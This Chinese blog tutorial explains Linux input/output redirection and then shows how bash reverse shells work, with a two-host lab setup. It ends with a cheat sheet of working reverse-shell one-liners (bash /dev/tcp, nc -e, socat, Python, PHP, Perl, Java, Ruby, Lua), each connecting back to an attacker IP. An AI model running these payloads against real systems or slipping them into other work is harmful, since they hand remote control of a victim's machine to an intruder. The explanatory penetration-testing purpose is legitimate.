0x01 前言

做了白嫖怪很久了,对于反弹shell的方法,当然是google一下,百度一下就可以搞定的,找个小本本记下来,用的时候copy一下就可以的,当然也就不知其所以然了。

oS8SIg.png

所以今天抽空总结一下linux反弹shell的原理,弄明白反弹的语句究竟在干什么!!!XD

0x02 数据流重定向

概念

先来复习下linux文件描述符的概念,其实文件描述符可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,linux启动的时候会默认打开三个文件描述符:0,1,2,下面细细道来。

通常我们执行一个命令,流程如下图所示:

o9vxYQ.png

我们运行一个命令,这个命令可能由文件读入数据,经过处理后将结果输出到屏幕上,结果有可能是标准输出或者标准错误输出。

标准输出指的是:命令运行所回传的正确的信息,而标准错误输出可理解为:命令运行失败后,所回传的错误信息。

不管正确错误的数据都被输出到屏幕上,所以我们可以通过重定向的方法将这两股数据分开,这样看起来就会比较有条理XD, 需要用到的重定向的特殊字符如下:

  1. 标准输入  (stdin) :代码为 0 ,使用 < 或 << ;
  2. 标准输出  (stdout):代码为 1 ,使用 > 或 >> ;
  3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>> ;

Notes:bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,然后再把重定向去掉,执行指令

输出重定向

1
2
CODE
1>或者>

这个概念很简单,也就是将数据输出到指定的文件中,直接看示例,>>>的区别就是覆盖和新增的区别,在此不再演示。

oCisrd.png

输出流默认是1,修改了1的指向,将输出内容输出到文件exp1中。

输入重定向

1
2
CODE
0<或<

输入重新向即将需要的数据读入,不多bb直接看示例:

oCFfT1.png

Notes:这里的输入重定向和输出重定向一起使用,从左向右解析先检查重定向,首先是对exp2的输出重定向,接着是对exp1的输入重定向,那这个命令的目的就非常明显了:使用exp1作为cat的读取内容,并将其内容输出到exp2中,所以文件夹中生成了原来不存在的exp2文件,且内容与exp1一致。

我们调换位置结果也是一样的:

oCkDHA.png

标准输出和错误输出重定向

1
2
CODE
&> test或>& test

这个也很好理解,就是正确和错误数据都输出到同一个地方去,

&>>&两种格式效果是完全相同的,且都等价于> test 2>&1

oiOTuq.png

Notes:

1.这里> test 2>&12>&1表示的是将标准错误复制到标准输出中,&是为了区分开文件名为1的文件和文件描述符1。

2.n>&mn<&m表示的都是将文件描述符n复制到m,只不过是分只写/读模式,对其结果没有任何影响

3.cmd > test 2>&1cmd 2>&1 > test的区别是很大的,顺序对于重定向非常重要,bash从左向右依次执行

1
2
3
4
CODE
> test 2>&1 先将标准输出指向test,再将标准错误输出指向标准输出,最终的结果是两个都指向test

2>&1 > test 先将标准错误输出指向标准输出,两者此时都指向/dev/tty,但是后面标准输出被指向到了test,所以结果是命令行输出error,test文件中显示标准输出

所以综上所述,下面几条命令是等价的:

1
2
3
4
5
BASH
touch &> test
touch >& test
touch > test 2>&1
touch > test 2<&1

0x03 Linux反弹shell

正向和反向的概念

正向shell:8说了,ssh这种就是最典型的正向shell,客户端去连接服务端,就是正向shell;

反向shell:通过命令执行将被控端的shell发送到控制端的指定端口,服务端去返连客户端,这种shell就是反向shell。

为什么要建立反向shell

比较常规的方式是,如果有RCE或者可以拿下webshell有权限去开启这个主机的一些端口服务,比如telnet、ssh、RDP等,攻击者可以直接去连接这些端口来获得主机的控制权限。但是在有些情况下正向连接行不通。

  1. 防火墙限制,被控主机只能发送请求,不能接收请求;
  2. 被控主机在局域网中,你无法直接连接;
  3. 被控主机IP动态变化,你无法控制………….

所以在这些情况下一般都会反弹一个shell回来,这样做可以获得对受害者更稳定的控制。

bash反弹shell的原理

这部分我们分析下Linux的bash命令反弹shell的原理,结合上述数据重定向的内容,这里将会非常简单。

首先反弹的命令如下:

1
2
BASH
bash -i >& /dev/tcp/你的公网主机IP/PORT 0>&1

从左到右依次来看

bash -i

  • bash就是linux一个常见的shell,类比sh和zsh等;
  • -i这个参数表示的是产生一个交互式的shell。

/dev/tcp/ip/port

/dev/tcp/ip/port比较特殊,你会发现/dev目录下并没有tcp这个玩意~但是如果你在对方监听某个端口的情况下去对这个文件进行读写操作,就能够实现和对方监听端口的socket通信,8多说了,开冲。

环境:

kali1:192.168.150.133

kali2:192.168.150.135

1.kali1监听端口接收消息

kali2进行写操作

oFF9E9.png

监听端口得到写入的数据

oFFSHJ.png

2.kali1监听端口写入消息

kali1先监听1234端口,kali2将cat的输入重定向到kali1的1234端口

oFF2VJ.png

kali1得到kali2的连接

oFFOIA.png

kali1开始输入内容

oFFzxf.png

kali2就会将其作为cat的输入重定向,将其内容打印出来

oFkCqg.png

>&和0>&1

将kali2作为被控端,kali1作为控制端,做一些小实验

一、先试试bash -i > /dev/tcp/192.168.150.133/1234,标准输出重定向

oFkBod.png

发现命令的标准输出都被重定向到了kali1的1234端口了,本地的shell不显示标准输出了XD

oFkhwQ.png

这样的反弹shell显然是不行的,因为你不能输入命令让被控端执行命令,只能等待受害者自己执行命令,等待回显。

二、我们再试试bash -i < /dev/tcp/192.168.150.133/1234

oFAfc6.png

发现可以输入命令了,并且受害者主机也会执行,但是控制端没结果回显啊XD,所以还是缺了点什么

oFAL9I.png

三、结合

其实上面第一个实验是没办法输入,第二个实验是没办法输出,只要将两个实验结合一下就可以达成输入和输出并存的目的了XD

1
2
BASH
bash -i > /dev/tcp/192.168.150.133/1234 0>&1

1.先将本地的标准输出流重定向到攻击机,保证命令输出结果可以回显

2.再将本地的标准输入流复制到标准输出流,也就是指向攻击机(有点像指针XD),保证可以在攻击机的特定端口发送命令

那就再试试:

oFERaQ.png

oFETMV.png

其实这样大致已经达成目的了,可以做到命令输入以及正确结果的回显,但是如果遇到了标准错误输出就无法输出结果了,例如上面的最下面一列的命令cat /etc/shadow,报错permisson denied并没有在1234端口回显,而是在受害者的shell中回显,证明我们的目录中并没有对标准错误输出进行重定向。

所以我们可以添加上对标准错误的重定向:

1
2
BASH
bash -i > /dev/tcp/192.168.150.133/1234 0>&1 2>&1

这次我们成功将标准输入、标准输出和标准错误输出全部重定向到了kali1主机的1234端口

oFV8ij.png

受害主机kali2的shell没有一丝输出

oFVrFJ.png

这最终的命令bash -i > /dev/tcp/192.168.150.133/1234 0>&1 2>&1也就是我们常用的反弹shell的命令,只不过我们平时为了看起来不那么累赘,将> file 2>&1替换成了一样效果的&>,就变成了如下的反弹shell命令(其实这4个玩意效果都是一样的XD)

1
2
3
4
5
6
7
8
BASH
bash -i > /dev/tcp/192.168.150.133/1234 0>&1 2>&1

bash -i > /dev/tcp/192.168.150.133/1234 0>&1 2<&1

bash -i >& /dev/tcp/192.168.150.133/1234 0>&1

bash -i &> /dev/tcp/192.168.150.133/1234 0>&1

上次有一位同事说你如果把反弹shell中的0去掉就无法反弹成功了,现在终于弄明白了为什么了XD,这里的回答应该是“没了0,就无法将标准输入流复制到标准输出流中了,这里的0可不能省略哦”

0x04 反弹shell方法总结

1.bash一句话

1
2
BASH
bash -i >& /dev/tcp/192.168.31.41/8080 0>&1

2.nc反连端口

1
2
BASH
nc 192.168.31.174 8080 -t -e /bin/bash

3.socat一句话

1
2
BASH
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.174:12345

4.脚本反弹

4.1 python

1
2
BASH
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.2 php

1
2
BASH
php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

4.3 perl

1
2
BASH
perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

4.4 java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
JAVA
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

4.5 ruby

1
2
3
4
BASH
ruby -rsocket -e 'c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4.6 Lua

1
2
BASH
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

此外还有很多其他的反弹骚姿势,这里总结几种常用的备忘XD,希望以后能对反弹shell有更深刻的印象吧。

0x04 总结

参考了很多资料和博文弄懂了reverse shell的部分原理,在反弹shell的时候还有一些问题值得探讨:例如获取的shell没有交互性该如何处理等问题,以后有空再学习总结下吧(以后有空=没空)。

0x05 参考

1.《鸟哥的Linux私房菜》

2.https://xz.aliyun.com/t/2549

3.https://www.anquanke.com/post/id/87017

4.https://segmentfault.com/a/1190000009724931

文章作者: Gard3nia

文章链接: https://gard3nia.github.io/2021/11/21/%E6%B5%85%E8%B0%88%E5%8F%8D%E5%BC%B9shell/

版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Gard3nia’s Blog